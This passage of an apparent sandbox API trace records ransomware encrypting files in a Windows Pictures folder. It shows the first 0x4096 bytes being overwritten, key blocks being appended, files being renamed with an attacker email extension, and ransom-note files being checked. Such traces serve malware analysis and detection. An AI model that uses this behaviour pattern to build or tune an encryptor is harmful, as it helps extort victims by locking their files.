OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0066.229] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif", dwFileAttributes=0x20) returned 0 [0066.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0066.229] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.229] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.229] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0066.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481bb8) returned 1 [0066.230] RtlExitUserThread (Status=0x1) Thread: id = 359 os_tid = 0x7a4 [0066.231] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif")) returned 0x20 [0066.231] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif", dwFileAttributes=0x20) returned 1 [0066.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.231] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x101bfef4 | out: lpFileSize=0x101bfef4*=53269) returned 1 [0066.231] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xd011, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.231] ReadFile (in: hFile=0x7c8, lpBuffer=0x101bfec8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x101bfec8*, lpNumberOfBytesRead=0x101bfec4*=0x4, lpOverlapped=0x0) returned 1 [0066.231] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0066.232] NtQuerySystemTime (in: CurrentTime=0x101bfea0 | out: CurrentTime=0x101bfea0*=132121176241285838) returned 0x0 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x551082f0 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xe3bee72e [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x10df9dc0 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xb40f8a66 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x635c9cfd [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xa44afa07 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x2d5f2cca [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xb6cb1f11 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x59f5c4e5 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x64671f8d [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xcee4009c [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xbed49ecb [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x6ad2c42b [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x1b393339 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xcff73886 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xd4c0efb0 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x64fabfa2 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xec95944e [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x768e7eb7 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xde30022f [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xdcc0fdae [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xbdcc65bb [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x3ba6d4bf [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x6343fd14 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x7a479d27 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x6001049 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xf0404c21 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x4ba6fa5f [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x99b38f04 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0xef8039c4 [0066.232] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x56625c71 [0066.233] RtlRandom (in: Seed=0x101bfeac | out: Seed=0x101bfeac) returned 0x9bed7572 [0066.244] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.244] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x101bfe78, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x101bfe78*=0x4096, lpOverlapped=0x0) returned 1 [0066.244] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.245] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x101bfe78, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0x101bfe78*=0x4096, lpOverlapped=0x0) returned 1 [0066.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.245] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xd015, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.245] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x101bfeb0, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0x101bfeb0*=0x20, lpOverlapped=0x0) returned 1 [0066.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.246] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0x101bfec4*=0x8, lpOverlapped=0x0) returned 1 [0066.246] WriteFile (in: hFile=0x7c8, lpBuffer=0x101bfedc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x101bfedc*, lpNumberOfBytesWritten=0x101bfec4*=0x4, lpOverlapped=0x0) returned 1 [0066.246] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x101bfec4*=0x4, lpOverlapped=0x0) returned 1 [0066.246] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x101bfec4*=0x6c, lpOverlapped=0x0) returned 1 [0066.246] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0x101bfec4*=0x20, lpOverlapped=0x0) returned 1 [0066.246] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x101bfec4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x101bfec4*=0x4, lpOverlapped=0x0) returned 1 [0066.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.246] CloseHandle (hObject=0x7c8) returned 1 [0066.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb270 [0066.248] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif") returned="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif" [0066.248] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" [0066.248] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.249] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0066.249] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif", dwFileAttributes=0x20) returned 0 [0066.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0066.249] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.249] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.249] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0066.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34821b8) returned 1 [0066.250] RtlExitUserThread (Status=0x1) Thread: id = 360 os_tid = 0xd5c [0066.253] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg")) returned 0x20 [0066.253] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg", dwFileAttributes=0x20) returned 1 [0066.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.254] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x1023fb50 | out: lpFileSize=0x1023fb50*=85542) returned 1 [0066.254] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x14e22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.254] ReadFile (in: hFile=0x7c8, lpBuffer=0x1023fb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x1023fb24*, lpNumberOfBytesRead=0x1023fb20*=0x4, lpOverlapped=0x0) returned 1 [0066.254] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0066.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.254] NtQuerySystemTime (in: CurrentTime=0x1023fafc | out: CurrentTime=0x1023fafc*=132121176241434300) returned 0x0 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x8fd7dca8 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xe1543a7d [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xe5138b69 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x67f92d2b [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xcba1b67a [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x820b9069 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x92312995 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x10870195 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x281d1c18 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x340ab563 [0066.254] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x7c1f51b4 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xe46dd4f2 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x28634b24 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xaa969d77 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x91ff41c5 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x738cab83 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x429ecd38 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x6caae030 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x387138c5 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xe0805459 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x4a7da5d9 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x84417206 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x78406cd0 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x4486ae6 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xbffa23c2 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x8feca45e [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x1bec533 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xa210050d [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xbf01dbba [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0xab581bd2 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x79531a71 [0066.255] RtlRandom (in: Seed=0x1023fb08 | out: Seed=0x1023fb08) returned 0x9c74ea6e [0066.267] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.267] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1023fad4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1023fad4*=0x4096, lpOverlapped=0x0) returned 1 [0066.268] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0066.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0066.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0066.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1023fad4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0x1023fad4*=0x4096, lpOverlapped=0x0) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.269] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x14e26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1023fb0c, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x1023fb0c*=0x20, lpOverlapped=0x0) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0x1023fb20*=0x8, lpOverlapped=0x0) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x1023fb38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x1023fb38*, lpNumberOfBytesWritten=0x1023fb20*=0x4, lpOverlapped=0x0) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1023fb20*=0x4, lpOverlapped=0x0) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1023fb20*=0x6c, lpOverlapped=0x0) returned 1 [0066.269] WriteFile (in: hFile=0x7c8, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0x1023fb20*=0x20, lpOverlapped=0x0) returned 1 [0066.270] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1023fb20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1023fb20*=0x4, lpOverlapped=0x0) returned 1 [0066.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0066.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.270] CloseHandle (hObject=0x7c8) returned 1 [0066.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3486220 [0066.273] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg" [0066.273] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" [0066.273] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.274] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.274] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg", dwFileAttributes=0x20) returned 0 [0066.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.274] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.274] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.274] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481488) returned 1 [0066.275] RtlExitUserThread (Status=0x1) Thread: id = 361 os_tid = 0xffc [0066.276] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif")) returned 0x20 [0066.276] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif", dwFileAttributes=0x20) returned 1 [0066.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.276] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x102bfbe4 | out: lpFileSize=0x102bfbe4*=40370) returned 1 [0066.276] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x9dae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.276] ReadFile (in: hFile=0x7c8, lpBuffer=0x102bfbb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x102bfbb8*, lpNumberOfBytesRead=0x102bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0066.276] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0066.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0066.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0066.277] NtQuerySystemTime (in: CurrentTime=0x102bfb90 | out: 